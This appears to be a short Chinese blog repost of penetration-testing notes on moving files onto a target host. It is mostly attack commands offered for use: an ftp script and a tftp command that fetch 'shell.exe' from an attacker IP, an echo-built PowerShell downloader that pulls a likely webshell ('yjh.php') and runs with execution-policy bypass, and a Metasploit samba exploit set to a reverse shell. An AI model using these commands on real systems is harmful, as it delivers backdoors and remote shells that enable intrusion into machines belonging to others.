文件传输的几种常用方法

文件传输的常用方式:http、wget、ftp、tftp、powershell ...
 
apt-get install python-pyftpdlib
python -m pyftpdlib -p 22
ftp 127.0.0.1
用户名:anonymous
密码为空
服务端我们可以看到连接信息
通过get 将文件下载到客户端
 
使用ftp下载payload
echo 导出的命令
open 192.168.88.174
anonymous
 
binary
get shell.exe
bye
ftp -s:ftp.txt -s 参数 读取 包含ftp 命令的文件
执行命令
payload 成功 下载 到本地
 
msf
use auxiliary/server/ftp
 
tftp
atftpd --daemon --port 69 /root
tftp 在 win xp 和 2003 上是可以使用的
客户端
tftp -i 192.168.88.174 get shell.exe
 
powershell
echo $storage = $pwd > get.ps1
echo $webclient = New-Object System.Net.Webclient >> get.ps1
echo $url = "http://192.168.88.174/yjh.php" >> get.ps1
echo $file = "yjh.php" >> get.ps1
echo $webclient.DownloadFile($url,$file) >> get.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File get.ps1
下载成功!
遇到 DownloadFile 报错问题可以参考以下链接:
DownloadFile(Uri, String) 将具有指定 URI 的资源下载到本地文件。
 
 
use exploit/linux/samba/trans2open
set payload generic/shell_reverse_tcp
 
使用powershell 计算 文件 hash
Get-FileHash -Algorithm MD5 .\12345.docx
Get-FileHash -Algorithm SHA256 .\12345.docx SHA系列,数字越大越安全
 
BITSAdmin文件下载
BITSAdmin是windows自带的一个用于下载和上传文件的命令行工具,详细描述参考: https://msdn.microsoft.com/en-us/library/windows/desktop/aa362813%28v=vs.85%29.aspx
 
计算文件的MD5
certutil -hashfile ydjc_yangzhou.apk MD5
 

猜你喜欢

转载自www.cnblogs.com/micr067/p/11386570.html